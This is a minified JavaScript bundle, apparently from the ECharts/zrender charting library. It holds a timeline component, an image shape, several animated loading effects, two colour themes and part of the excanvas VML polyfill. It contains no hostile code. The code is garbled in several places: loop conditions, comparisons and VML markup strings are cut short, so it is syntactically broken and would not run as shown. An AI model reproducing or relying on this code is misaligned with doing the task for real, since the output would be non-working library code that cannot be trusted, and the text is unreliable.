o(l.clone(m)),this._ctrNextShape.style.symbol="next",this._ctrNextShape.style.x=a,this._ctrNextShape.onclick=function(){e.next()},this.shapeList.push(this._ctrNextShape)}},_buildChain:function(){var e=this.timelineOption,t=e.lineStyle;this._timelineShae={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:this._location.x,y:this.subPixelOptimize(this._location.y,t.width),width:this._location.x2-this._location.x,height:this._location.height,chainPoint:this._chainPoint,brushType:"both",strokeColor:t.color,lineWidth:t.width,lineType:t.type},hoverable:!1,clickable:!0,onclick:this._onclick},this._timelineShae=new r(this._timelineShae),this.shapeList.push(this._timelineShae)},_buildHandle:function(){var e=this._chainPoint[this.currentIndex],t=e.symbolSize+1;t=5>t?5:t,this._handleShape={zlevel:this.getZlevelBase(),z:this.getZBase()+1,hoverable:!1,draggable:!0,style:{iconType:"diamond",n:e.n,x:e.x-t,y:this._location.y+this._location.height/4-t,width:2*t,height:2*t,brushType:"both",textPosition:"specific",textX:e.x,textY:this._location.y-this._location.height/4,textAlign:"center",textBaseline:"middle"},highlightStyle:{},ondrift:this._ondrift,ondragend:this._ondragend},this._handleShape=new o(this._handleShape),this.shapeList.push(this._handleShape)},_syncHandleShape:function(){if(this.timelineOption.show){var e=this.timelineOption,t=e.checkpointStyle,i=this._chainPoint[this.currentIndex];this._handleShape.style.text=t.label.show?i.name:"",this._handleShape.style.textFont=i.textFont,this._handleShape.style.n=i.n,"auto"===t.symbol?this._handleShape.style.iconType="none"!=i.symbol?i.symbol:"diamond":(this._handleShape.style.iconType=t.symbol,t.symbol.match("star")&&(this._handleShape.style.n=t.symbol.replace("star","")-0||5,this._handleShape.style.iconType="star"));var n;"auto"===t.symbolSize?(n=i.symbolSize+2,n=5>n?5:n):n=t.symbolSize-0,this._handleShape.style.color="auto"===t.color?i.color?i.color:e.controlStyle.emphasis.color:t.color,this._handleShape.style.textColor="auto"===t.label.textStyle.color?this._handleShape.style.color:t.label.textStyle.color,this._handleShape.highlightStyle.strokeColor=this._handleShape.style.strokeColor="auto"===t.borderColor?i.borderColor?i.borderColor:"#fff":t.borderColor,this._handleShape.style.lineWidth="auto"===t.borderWidth?i.borderWidth?i.borderWidth:0:t.borderWidth-0,this._handleShape.highlightStyle.lineWidth=this._handleShape.style.lineWidth+1,this.zr.animate(this._handleShape.id,"style").when(500,{x:i.x-n,textX:i.x,y:this._location.y+this._location.height/4-n,width:2*n,height:2*n}).start("ExponentialOut")}},_findChainIndex:function(e){var t=this._chainPoint,i=t.length;if(e<=t[0].x)return 0;if(e>=t[i-1].x)return i-1;for(var n=0;i-1>n;n++)if(e>=t[n].x&&e<=t[n+1].x)return Math.abs(e-t[n].x)=n[a-1].x-n[a-1].symbolSize?(e.style.x=n[a-1].x-n[a-1].symbolSize,i=a-1):(e.style.x+=t,i=this._findChainIndex(e.style.x));var o=n[i],r=o.symbolSize+2;if(e.style.iconType=o.symbol,e.style.n=o.n,e.style.textX=e.style.x+r/2,e.style.y=this._location.y+this._location.height/4-r,e.style.width=2*r,e.style.height=2*r,e.style.text=o.name,i===this.currentIndex)return!0;if(this.currentIndex=i,this.timelineOption.realtime){clearTimeout(this.playTicket);var s=this;this.playTicket=setTimeout(function(){s._setCurrentOption()},200)}return!0},__ondragend:function(){this.isDragend=!0},ondragend:function(e,t){this.isDragend&&e.target&&(!this.timelineOption.realtime&&this._setCurrentOption(),t.dragOut=!0,t.dragIn=!0,t.needRefresh=!1,this.isDragend=!1,this._syncHandleShape())},last:function(){return this.timelineOption.autoPlay&&this.stop(),this.currentIndex-=1,this.currentIndex<0&&(this.currentIndex=this.timelineOption.data.length-1),this._onFrame(),this.currentIndex},next:function(){return this.timelineOption.autoPlay&&this.stop(),this.currentIndex+=1,this.currentIndex>=this.timelineOption.data.length&&(this.currentIndex=0),this._onFrame(),this.currentIndex},play:function(e,t){return this._ctrPlayShape&&"playing"!=this._ctrPlayShape.style.status&&(this._ctrPlayShape.style.status="playing",this.zr.modShape(this._ctrPlayShape.id),this.zr.refreshNextFrame()),this.timelineOption.autoPlay=null!=t?t:!0,this.timelineOption.autoPlay||clearTimeout(this.playTicket),this.currentIndex=null!=e?e:this.currentIndex+1,this.currentIndex>=this.timelineOption.data.length&&(this.currentIndex=0),this._onFrame(),this.currentIndex},stop:function(){return this._ctrPlayShape&&"stop"!=this._ctrPlayShape.style.status&&(this._ctrPlayShape.style.status="stop",this.zr.modShape(this._ctrPlayShape.id),this.zr.refreshNextFrame()),this.timelineOption.autoPlay=!1,clearTimeout(this.playTicket),this.currentIndex},resize:function(){this.timelineOption.show&&(this.clear(),this._buildShape(),this._syncHandleShape())},setTheme:function(e){this.timelineOption=this.reformOption(l.clone(this.option.timeline)),this.timelineOption.label.textStyle=this.getTextStyle(this.timelineOption.label.textStyle),this.timelineOption.checkpointStyle.label.textStyle=this.getTextStyle(this.timelineOption.checkpointStyle.label.textStyle),this.myChart.canvasSupported||(this.timelineOption.realtime=!1),this.timelineOption.show&&e&&(this.clear(),this._buildShape(),this._syncHandleShape())},onbeforDispose:function(){clearTimeout(this.playTicket)}},o.prototype.iconLibrary.timelineControl=i,l.inherits(t,n),e("../component").define("timeline",t),t}),i("zrender/shape/Image",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"image",brush:function(e,t,i){var n=this.style||{};t&&(n=this.getHighlightStyle(n,this.highlightStyle||{}));var a=n.image,o=this;if(this._imageCache||(this._imageCache={}),"string"==typeof a){var r=a;this._imageCache[r]?a=this._imageCache[r]:(a=new Image,a.onload=function(){a.onload=null,o.modSelf(),i()},a.src=r,this._imageCache[r]=a)}if(a){if("IMG"==a.nodeName.toUpperCase())if(window.ActiveXObject){if("complete"!=a.readyState)return}else if(!a.complete)return;var s=n.width||a.width,l=n.height||a.height,h=n.x,m=n.y;if(!a.width||!a.height)return;if(e.save(),this.doClip(e),this.setContext(e,n),this.setTransform(e),n.sWidth&&n.sHeight){var V=n.sx||0,U=n.sy||0;e.drawImage(a,V,U,n.sWidth,n.sHeight,h,m,s,l)}else if(n.sx&&n.sy){var V=n.sx,U=n.sy,d=s-V,p=l-U;e.drawImage(a,V,U,d,p,h,m,s,l)}else e.drawImage(a,h,m,s,l);n.width||(n.width=s),n.height||(n.height=l),this.style.width||(this.style.width=s),this.style.height||(this.style.height=l),this.drawText(e,n,this.style),e.restore()}},getRect:function(e){return{x:e.x,y:e.y,width:e.width,height:e.height}},clearCache:function(){this._imageCache={}}},e("../tool/util").inherits(i,t),i}),i("zrender/loadingEffect/Bar",["require","./Base","../tool/util","../tool/color","../shape/Rectangle"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../shape/Rectangle");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#888"},backgroundColor:"rgba(250, 250, 250, 0.8)",effectOption:{x:0,y:this.canvasHeight/2-30,width:this.canvasWidth,height:5,brushType:"fill",timeInterval:100}}),r=this.createTextShape(i.textStyle),s=this.createBackgroundShape(i.backgroundColor),l=i.effectOption,h=new o({highlightStyle:n.clone(l)});return h.highlightStyle.color=l.color||a.getLinearGradient(l.x,l.y,l.x+l.width,l.y+l.height,[[0,"#ff6400"],[.5,"#ffe100"],[1,"#b1ff00"]]),null!=i.progress?(e(s),h.highlightStyle.width=this.adjust(i.progress,[0,1])*i.effectOption.width,e(h),e(r),void t()):(h.highlightStyle.width=0,setInterval(function(){e(s),h.highlightStyle.widthc;c++){var u="random"==l.color?a.alpha(a.random(),.3):l.color;U[c]=new o({highlightStyle:{x:Math.ceil(Math.random()*d),y:Math.ceil(Math.random()*p),r:Math.ceil(40*Math.random()),brushType:m,color:u,strokeColor:u,lineWidth:V},animationY:Math.ceil(20*Math.random())})}return setInterval(function(){e(s);for(var i=0;h>i;i++){var n=U[i].highlightStyle;n.y-U[i].animationY+n.r<=0&&(U[i].highlightStyle.y=p+n.r,U[i].highlightStyle.x=Math.ceil(Math.random()*d)),U[i].highlightStyle.y-=U[i].animationY,e(U[i])}e(r),t()},l.timeInterval)},t}),i("zrender/loadingEffect/DynamicLine",["require","./Base","../tool/util","../tool/color","../shape/Line"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../shape/Line");return n.inherits(t,i),t.prototype._start=function(e,t){for(var i=n.merge(this.options,{textStyle:{color:"#fff"},backgroundColor:"rgba(0, 0, 0, 0.8)",effectOption:{n:30,lineWidth:1,color:"random",timeInterval:100}}),r=this.createTextShape(i.textStyle),s=this.createBackgroundShape(i.backgroundColor),l=i.effectOption,h=l.n,m=l.lineWidth,V=[],U=this.canvasWidth,d=this.canvasHeight,p=0;h>p;p++){var c=-Math.ceil(1e3*Math.random()),u=Math.ceil(400*Math.random()),y=Math.ceil(Math.random()*d),g="random"==l.color?a.random():l.color;V[p]=new o({highlightStyle:{xStart:c,yStart:y,xEnd:c+u,yEnd:y,strokeColor:g,lineWidth:m},animationX:Math.ceil(100*Math.random()),len:u})}return setInterval(function(){e(s);for(var i=0;h>i;i++){var n=V[i].highlightStyle;n.xStart>=U&&(V[i].len=Math.ceil(400*Math.random()),n.xStart=-400,n.xEnd=-400+V[i].len,n.yStart=Math.ceil(Math.random()*d),n.yEnd=n.yStart),n.xStart+=V[i].animationX,n.xEnd+=V[i].animationX,e(V[i])}e(r),t()},l.timeInterval)},t}),i("zrender/loadingEffect/Ring",["require","./Base","../tool/util","../tool/color","../shape/Ring","../shape/Sector"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../shape/Ring"),r=e("../shape/Sector");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#07a"},backgroundColor:"rgba(250, 250, 250, 0.8)",effect:{x:this.canvasWidth/2,y:this.canvasHeight/2,r0:60,r:100,color:"#bbdcff",brushType:"fill",textPosition:"inside",textFont:"normal 30px verdana",textColor:"rgba(30, 144, 255, 0.6)",timeInterval:100}}),s=i.effect,l=i.textStyle; + +null==l.x&&(l.x=s.x),null==l.y&&(l.y=s.y+(s.r0+s.r)/2-5);for(var h=this.createTextShape(i.textStyle),m=this.createBackgroundShape(i.backgroundColor),V=s.x,U=s.y,d=s.r0+6,p=s.r-6,c=s.color,u=a.lift(c,.1),y=new o({highlightStyle:n.clone(s)}),g=[],b=a.getGradientColors(["#ff6400","#ffe100","#97ff00"],25),f=15,k=240,x=0;16>x;x++)g.push(new r({highlightStyle:{x:V,y:U,r0:d,r:p,startAngle:k-f,endAngle:k,brushType:"fill",color:u},_color:a.getLinearGradient(V+d*Math.cos(k,!0),U-d*Math.sin(k,!0),V+d*Math.cos(k-f,!0),U-d*Math.sin(k-f,!0),[[0,b[2*x]],[1,b[2*x+1]]])})),k-=f;k=360;for(var x=0;4>x;x++)g.push(new r({highlightStyle:{x:V,y:U,r0:d,r:p,startAngle:k-f,endAngle:k,brushType:"fill",color:u},_color:a.getLinearGradient(V+d*Math.cos(k,!0),U-d*Math.sin(k,!0),V+d*Math.cos(k-f,!0),U-d*Math.sin(k-f,!0),[[0,b[2*x+32]],[1,b[2*x+33]]])})),k-=f;var _=0;if(null!=i.progress){e(m),_=100*this.adjust(i.progress,[0,1]).toFixed(2)/5,y.highlightStyle.text=5*_+"%",e(y);for(var x=0;20>x;x++)g[x].highlightStyle.color=_>x?g[x]._color:u,e(g[x]);return e(h),void t()}return setInterval(function(){e(m),_+=_>=20?-20:1,e(y);for(var i=0;20>i;i++)g[i].highlightStyle.color=_>i?g[i]._color:u,e(g[i]);e(h),t()},s.timeInterval)},t}),i("zrender/loadingEffect/Spin",["require","./Base","../tool/util","../tool/color","../tool/area","../shape/Sector"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../tool/area"),r=e("../shape/Sector");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#fff",textAlign:"start"},backgroundColor:"rgba(0, 0, 0, 0.8)"}),s=this.createTextShape(i.textStyle),l=10,h=o.getTextWidth(s.highlightStyle.text,s.highlightStyle.textFont),m=o.getTextHeight(s.highlightStyle.text,s.highlightStyle.textFont),V=n.merge(this.options.effect||{},{r0:9,r:15,n:18,color:"#fff",timeInterval:100}),U=this.getLocation(this.options.textStyle,h+l+2*V.r,Math.max(2*V.r,m));V.x=U.x+V.r,V.y=s.highlightStyle.y=U.y+U.height/2,s.highlightStyle.x=V.x+V.r+l;for(var d=this.createBackgroundShape(i.backgroundColor),p=V.n,c=V.x,u=V.y,y=V.r0,g=V.r,b=V.color,f=[],k=Math.round(180/p),x=0;p>x;x++)f[x]=new r({highlightStyle:{x:c,y:u,r0:y,r:g,startAngle:k*x*2,endAngle:k*x*2+k,color:a.alpha(b,(x+1)/p),brushType:"fill"}});var _=[0,c,u];return setInterval(function(){e(d),_[0]-=.3;for(var i=0;p>i;i++)f[i].rotation=_,e(f[i]);e(s),t()},V.timeInterval)},t}),i("zrender/loadingEffect/Whirling",["require","./Base","../tool/util","../tool/area","../shape/Ring","../shape/Droplet","../shape/Circle"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/area"),o=e("../shape/Ring"),r=e("../shape/Droplet"),s=e("../shape/Circle");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#888",textAlign:"start"},backgroundColor:"rgba(250, 250, 250, 0.8)"}),l=this.createTextShape(i.textStyle),h=10,m=a.getTextWidth(l.highlightStyle.text,l.highlightStyle.textFont),V=a.getTextHeight(l.highlightStyle.text,l.highlightStyle.textFont),U=n.merge(this.options.effect||{},{r:18,colorIn:"#fff",colorOut:"#555",colorWhirl:"#6cf",timeInterval:50}),d=this.getLocation(this.options.textStyle,m+h+2*U.r,Math.max(2*U.r,V));U.x=d.x+U.r,U.y=l.highlightStyle.y=d.y+d.height/2,l.highlightStyle.x=U.x+U.r+h;var p=this.createBackgroundShape(i.backgroundColor),c=new r({highlightStyle:{a:Math.round(U.r/2),b:Math.round(U.r-U.r/6),brushType:"fill",color:U.colorWhirl}}),u=new s({highlightStyle:{r:Math.round(U.r/6),brushType:"fill",color:U.colorIn}}),y=new o({highlightStyle:{r0:Math.round(U.r-U.r/3),r:U.r,brushType:"fill",color:U.colorOut}}),g=[0,U.x,U.y];return c.highlightStyle.x=u.highlightStyle.x=y.highlightStyle.x=g[1],c.highlightStyle.y=u.highlightStyle.y=y.highlightStyle.y=g[2],setInterval(function(){e(p),e(y),g[0]-=.3,c.rotation=g,e(c),e(u),e(l),t()},U.timeInterval)},t}),i("echarts/theme/macarons",[],function(){var e={color:["#2ec7c9","#b6a2de","#5ab1ef","#ffb980","#d87a80","#8d98b3","#e5cf0d","#97b552","#95706d","#dc69aa","#07a2a4","#9a7fd1","#588dd5","#f5994e","#c05050","#59678c","#c9ab00","#7eb00a","#6f5553","#c14089"],title:{textStyle:{fontWeight:"normal",color:"#008acd"}},dataRange:{itemWidth:15,color:["#5ab1ef","#e0ffff"]},toolbox:{color:["#1e90ff","#1e90ff","#1e90ff","#1e90ff"],effectiveColor:"#ff4500"},tooltip:{backgroundColor:"rgba(50,50,50,0.5)",axisPointer:{type:"line",lineStyle:{color:"#008acd"},crossStyle:{color:"#008acd"},shadowStyle:{color:"rgba(200,200,200,0.2)"}}},dataZoom:{dataBackgroundColor:"#efefff",fillerColor:"rgba(182,162,222,0.2)",handleColor:"#008acd"},grid:{borderColor:"#eee"},categoryAxis:{axisLine:{lineStyle:{color:"#008acd"}},splitLine:{lineStyle:{color:["#eee"]}}},valueAxis:{axisLine:{lineStyle:{color:"#008acd"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.1)","rgba(200,200,200,0.1)"]}},splitLine:{lineStyle:{color:["#eee"]}}},polar:{axisLine:{lineStyle:{color:"#ddd"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.2)","rgba(200,200,200,0.2)"]}},splitLine:{lineStyle:{color:"#ddd"}}},timeline:{lineStyle:{color:"#008acd"},controlStyle:{normal:{color:"#008acd"},emphasis:{color:"#008acd"}},symbol:"emptyCircle",symbolSize:3},bar:{itemStyle:{normal:{barBorderRadius:5},emphasis:{barBorderRadius:5}}},line:{smooth:!0,symbol:"emptyCircle",symbolSize:3},k:{itemStyle:{normal:{color:"#d87a80",color0:"#2ec7c9",lineStyle:{color:"#d87a80",color0:"#2ec7c9"}}}},scatter:{symbol:"circle",symbolSize:4},radar:{symbol:"emptyCircle",symbolSize:3},map:{itemStyle:{normal:{areaStyle:{color:"#ddd"},label:{textStyle:{color:"#d87a80"}}},emphasis:{areaStyle:{color:"#fe994e"}}}},force:{itemStyle:{normal:{linkStyle:{color:"#1e90ff"}}}},chord:{itemStyle:{normal:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}},emphasis:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}}}},gauge:{axisLine:{lineStyle:{color:[[.2,"#2ec7c9"],[.8,"#5ab1ef"],[1,"#d87a80"]],width:10}},axisTick:{splitNumber:10,length:15,lineStyle:{color:"auto"}},splitLine:{length:22,lineStyle:{color:"auto"}},pointer:{width:5}},textStyle:{fontFamily:"微软雅黑, Arial, Verdana, sans-serif"}};return e}),i("echarts/theme/infographic",[],function(){var e={color:["#C1232B","#B5C334","#FCCE10","#E87C25","#27727B","#FE8463","#9BCA63","#FAD860","#F3A43B","#60C0DD","#D7504B","#C6E579","#F4E001","#F0805A","#26C0C0"],title:{textStyle:{fontWeight:"normal",color:"#27727B"}},dataRange:{x:"right",y:"center",itemWidth:5,itemHeight:25,color:["#C1232B","#FCCE10"]},toolbox:{color:["#C1232B","#B5C334","#FCCE10","#E87C25","#27727B","#FE8463","#9BCA63","#FAD860","#F3A43B","#60C0DD"],effectiveColor:"#ff4500"},tooltip:{backgroundColor:"rgba(50,50,50,0.5)",axisPointer:{type:"line",lineStyle:{color:"#27727B",type:"dashed"},crossStyle:{color:"#27727B"},shadowStyle:{color:"rgba(200,200,200,0.3)"}}},dataZoom:{dataBackgroundColor:"rgba(181,195,52,0.3)",fillerColor:"rgba(181,195,52,0.2)",handleColor:"#27727B"},grid:{borderWidth:0},categoryAxis:{axisLine:{lineStyle:{color:"#27727B"}},splitLine:{show:!1}},valueAxis:{axisLine:{show:!1},splitArea:{show:!1},splitLine:{lineStyle:{color:["#ccc"],type:"dashed"}}},polar:{axisLine:{lineStyle:{color:"#ddd"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.2)","rgba(200,200,200,0.2)"]}},splitLine:{lineStyle:{color:"#ddd"}}},timeline:{lineStyle:{color:"#27727B"},controlStyle:{normal:{color:"#27727B"},emphasis:{color:"#27727B"}},symbol:"emptyCircle",symbolSize:3},line:{itemStyle:{normal:{borderWidth:2,borderColor:"#fff",lineStyle:{width:3}},emphasis:{borderWidth:0}},symbol:"circle",symbolSize:3.5},k:{itemStyle:{normal:{color:"#C1232B",color0:"#B5C334",lineStyle:{width:1,color:"#C1232B",color0:"#B5C334"}}}},scatter:{itemStyle:{normal:{borderWidth:1,borderColor:"rgba(200,200,200,0.5)"},emphasis:{borderWidth:0}},symbol:"star4",symbolSize:4},radar:{symbol:"emptyCircle",symbolSize:3},map:{itemStyle:{normal:{areaStyle:{color:"#ddd"},label:{textStyle:{color:"#C1232B"}}},emphasis:{areaStyle:{color:"#fe994e"},label:{textStyle:{color:"rgb(100,0,0)"}}}}},force:{itemStyle:{normal:{linkStyle:{color:"#27727B"}}}},chord:{itemStyle:{normal:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}},emphasis:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}}}},gauge:{center:["50%","80%"],radius:"100%",startAngle:180,endAngle:0,axisLine:{show:!0,lineStyle:{color:[[.2,"#B5C334"],[.8,"#27727B"],[1,"#C1232B"]],width:"40%"}},axisTick:{splitNumber:2,length:5,lineStyle:{color:"#fff"}},axisLabel:{textStyle:{color:"#fff",fontWeight:"bolder"}},splitLine:{length:"5%",lineStyle:{color:"#fff"}},pointer:{width:"40%",length:"80%",color:"#fff"},title:{offsetCenter:[0,-20],textStyle:{color:"auto",fontSize:20}},detail:{offsetCenter:[0,0],textStyle:{color:"auto",fontSize:40}}},textStyle:{fontFamily:"微软雅黑, Arial, Verdana, sans-serif"}};return e}),i("zrender/dep/excanvas",["require"],function(){return document.createElement("canvas").getContext?G_vmlCanvasManager=!1:!function(){function e(){return this.context_||(this.context_=new f(this))}function t(e,t){var i=O.call(arguments,2);return function(){return e.apply(t,i.concat(O.call(arguments)))}}function i(e){return String(e).replace(/&/g,"&").replace(/"/g,""")}function n(e,t,i){e.namespaces[t]||e.namespaces.add(t,i,"#default#VML")}function a(e){if(n(e,"g_vml_","urn:schemas-microsoft-com:vml"),n(e,"g_o_","urn:schemas-microsoft-com:office:office"),!e.styleSheets.ex_canvas_){var t=e.createStyleSheet();t.owningElement.id="ex_canvas_",t.cssText="canvas{display:inline-block;overflow:hidden;text-align:left;width:300px;height:150px}"}}function o(e){var t=e.srcElement;switch(e.propertyName){case"width":t.getContext().clearRect(),t.style.width=t.attributes.width.nodeValue+"px",t.firstChild.style.width=t.clientWidth+"px";break;case"height":t.getContext().clearRect(),t.style.height=t.attributes.height.nodeValue+"px",t.firstChild.style.height=t.clientHeight+"px"}}function r(e){var t=e.srcElement;t.firstChild&&(t.firstChild.style.width=t.clientWidth+"px",t.firstChild.style.height=t.clientHeight+"px")}function s(){return[[1,0,0],[0,1,0],[0,0,1]]}function l(e,t){for(var i=s(),n=0;3>n;n++)for(var a=0;3>a;a++){for(var o=0,r=0;3>r;r++)o+=e[n][r]*t[r][a];i[n][a]=o}return i}function h(e,t){t.fillStyle=e.fillStyle,t.lineCap=e.lineCap,t.lineJoin=e.lineJoin,t.lineWidth=e.lineWidth,t.miterLimit=e.miterLimit,t.shadowBlur=e.shadowBlur,t.shadowColor=e.shadowColor,t.shadowOffsetX=e.shadowOffsetX,t.shadowOffsetY=e.shadowOffsetY,t.strokeStyle=e.strokeStyle,t.globalAlpha=e.globalAlpha,t.font=e.font,t.textAlign=e.textAlign,t.textBaseline=e.textBaseline,t.scaleX_=e.scaleX_,t.scaleY_=e.scaleY_,t.lineScale_=e.lineScale_}function m(e){var t=e.indexOf("(",3),i=e.indexOf(")",t+1),n=e.substring(t+1,i).split(",");return(4!=n.length||"a"!=e.charAt(3))&&(n[3]=1),n}function V(e){return parseFloat(e)/100}function U(e,t,i){return Math.min(i,Math.max(t,e))}function d(e){var t,i,n,a,o,r;if(a=parseFloat(e[0])/360%360,0>a&&a++,o=U(V(e[1]),0,1),r=U(V(e[2]),0,1),0==o)t=i=n=r;else{var s=.5>r?r*(1+o):r+o-r*o,l=2*r-s;t=p(l,s,a+1/3),i=p(l,s,a),n=p(l,s,a-1/3)}return"#"+D[Math.floor(255*t)]+D[Math.floor(255*i)]+D[Math.floor(255*n)]}function p(e,t,i){return 0>i&&i++,i>1&&i--,1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+(t-e)*(2/3-i)*6:e}function c(e){if(e in R)return R[e];var t,i=1;if(e=String(e),"#"==e.charAt(0))t=e;else if(/^rgb/.test(e)){for(var n,a=m(e),t="#",o=0;3>o;o++)n=-1!=a[o].indexOf("%")?Math.floor(255*V(a[o])):+a[o],t+=D[U(n,0,255)];i=+a[3]}else if(/^hsl/.test(e)){var a=m(e);t=d(a),i=a[3]}else t=H[e]||e;return R[e]={color:t,alpha:i}}function u(e){if(Y[e])return Y[e];var t,i=document.createElement("div"),n=i.style;try{n.font=e,t=n.fontFamily.split(",")[0]}catch(a){}return Y[e]={style:n.fontStyle||G.style,variant:n.fontVariant||G.variant,weight:n.fontWeight||G.weight,size:n.fontSize||G.size,family:t||G.family}}function y(e,t){var i={};for(var n in e)i[n]=e[n];var a=parseFloat(t.currentStyle.fontSize),o=parseFloat(e.size);return i.size="number"==typeof e.size?e.size:-1!=e.size.indexOf("px")?o:-1!=e.size.indexOf("em")?a*o:-1!=e.size.indexOf("%")?a/100*o:-1!=e.size.indexOf("pt")?o/.75:a,i}function g(e){return e.style+" "+e.variant+" "+e.weight+" "+e.size+"px '"+e.family+"'"}function b(e){return Q[e]||"square"}function f(e){this.m_=s(),this.mStack_=[],this.aStack_=[],this.currentPath_=[],this.strokeStyle="#000",this.fillStyle="#000",this.lineWidth=1,this.lineJoin="miter",this.lineCap="butt",this.miterLimit=1*A,this.globalAlpha=1,this.font="12px 微软雅黑",this.textAlign="left",this.textBaseline="alphabetic",this.canvas=e;var t="width:"+e.clientWidth+"px;height:"+e.clientHeight+"px;overflow:hidden;position:absolute",i=e.ownerDocument.createElement("div");i.style.cssText=t,e.appendChild(i);var n=i.cloneNode(!1);n.style.backgroundColor="#fff",n.style.filter="alpha(opacity=0)",e.appendChild(n),this.element_=i,this.scaleX_=1,this.scaleY_=1,this.lineScale_=1}function k(e,t,i,n){e.currentPath_.push({type:"bezierCurveTo",cp1x:t.x,cp1y:t.y,cp2x:i.x,cp2y:i.y,x:n.x,y:n.y}),e.currentX_=n.x,e.currentY_=n.y}function x(e,t){var i=c(e.strokeStyle),n=i.color,a=i.alpha*e.globalAlpha,o=e.lineScale_*e.lineWidth;1>o&&(a*=o),t.push("')}function _(e,t,i,n){var a=e.fillStyle,o=e.scaleX_,r=e.scaleY_,s=n.x-i.x,l=n.y-i.y;if(a instanceof v){var h=0,m={x:0,y:0},V=0,U=1;if("gradient"==a.type_){var d=a.x0_/o,p=a.y0_/r,u=a.x1_/o,y=a.y1_/r,g=L(e,d,p),b=L(e,u,y),f=b.x-g.x,k=b.y-g.y;h=180*Math.atan2(f,k)/Math.PI,0>h&&(h+=360),1e-6>h&&(h=0)}else{var g=L(e,a.x0_,a.y0_);m={x:(g.x-i.x)/s,y:(g.y-i.y)/l},s/=o*A,l/=r*A;var x=C.max(s,l);V=2*a.r0_/x,U=2*a.r1_/x-V}var _=a.colors_;_.sort(function(e,t){return e.offset-t.offset});for(var W=_.length,X=_[0].color,K=_[W-1].color,I=_[0].alpha*e.globalAlpha,J=_[W-1].alpha*e.globalAlpha,S=[],E=0;W>E;E++){var F=_[E];S.push(F.offset*U+V+" "+F.color)}t.push('')}else if(a instanceof w){if(s&&l){var T=-i.x,z=-i.y;t.push("')}}else{var M=c(e.fillStyle),O=M.color,P=M.alpha*e.globalAlpha;t.push('')}}function L(e,t,i){var n=e.m_;return{x:A*(t*n[0][0]+i*n[1][0]+n[2][0])-M,y:A*(t*n[0][1]+i*n[1][1]+n[2][1])-M}}function W(e){return isFinite(e[0][0])&&isFinite(e[0][1])&&isFinite(e[1][0])&&isFinite(e[1][1])&&isFinite(e[2][0])&&isFinite(e[2][1])}function X(e,t,i){if(W(t)&&(e.m_=t,e.scaleX_=Math.sqrt(t[0][0]*t[0][0]+t[0][1]*t[0][1]),e.scaleY_=Math.sqrt(t[1][0]*t[1][0]+t[1][1]*t[1][1]),i)){var n=t[0][0]*t[1][1]-t[0][1]*t[1][0];e.lineScale_=z(T(n))}}function v(e){this.type_=e,this.x0_=0,this.y0_=0,this.r0_=0,this.x1_=0,this.y1_=0,this.r1_=0,this.colors_=[]}function w(e,t){switch(I(e),t){case"repeat":case null:case"":this.repetition_="repeat";break;case"repeat-x":case"repeat-y":case"no-repeat":this.repetition_=t;break;default:K("SYNTAX_ERR")}this.src_=e.src,this.width_=e.width,this.height_=e.height}function K(e){throw new J(e)}function I(e){e&&1==e.nodeType&&"IMG"==e.tagName||K("TYPE_MISMATCH_ERR"),"complete"!=e.readyState&&K("INVALID_STATE_ERR")}function J(e){this.code=this[e],this.message=e+": DOM Exception "+this.code}var C=Math,S=C.round,E=C.sin,F=C.cos,T=C.abs,z=C.sqrt,A=10,M=A/2,O=(+navigator.userAgent.match(/MSIE ([\d.]+)?/)[1],Array.prototype.slice);a(document);var P={init:function(e){var i=e||document;i.createElement("canvas"),i.attachEvent("onreadystatechange",t(this.init_,this,i))},init_:function(e){for(var t=e.getElementsByTagName("canvas"),i=0;iN;N++)for(var B=0;16>B;B++)D[16*N+B]=N.toString(16)+B.toString(16);var H={aliceblue:"#F0F8FF",antiquewhite:"#FAEBD7",aquamarine:"#7FFFD4",azure:"#F0FFFF",beige:"#F5F5DC",bisque:"#FFE4C4",black:"#000000",blanchedalmond:"#FFEBCD",blueviolet:"#8A2BE2",brown:"#A52A2A",burlywood:"#DEB887",cadetblue:"#5F9EA0",chartreuse:"#7FFF00",chocolate:"#D2691E",coral:"#FF7F50",cornflowerblue:"#6495ED",cornsilk:"#FFF8DC",crimson:"#DC143C",cyan:"#00FFFF",darkblue:"#00008B",darkcyan:"#008B8B",darkgoldenrod:"#B8860B",darkgray:"#A9A9A9",darkgreen:"#006400",darkgrey:"#A9A9A9",darkkhaki:"#BDB76B",darkmagenta:"#8B008B",darkolivegreen:"#556B2F",darkorange:"#FF8C00",darkorchid:"#9932CC",darkred:"#8B0000",darksalmon:"#E9967A",darkseagreen:"#8FBC8F",darkslateblue:"#483D8B",darkslategray:"#2F4F4F",darkslategrey:"#2F4F4F",darkturquoise:"#00CED1",darkviolet:"#9400D3",deeppink:"#FF1493",deepskyblue:"#00BFFF",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1E90FF",fi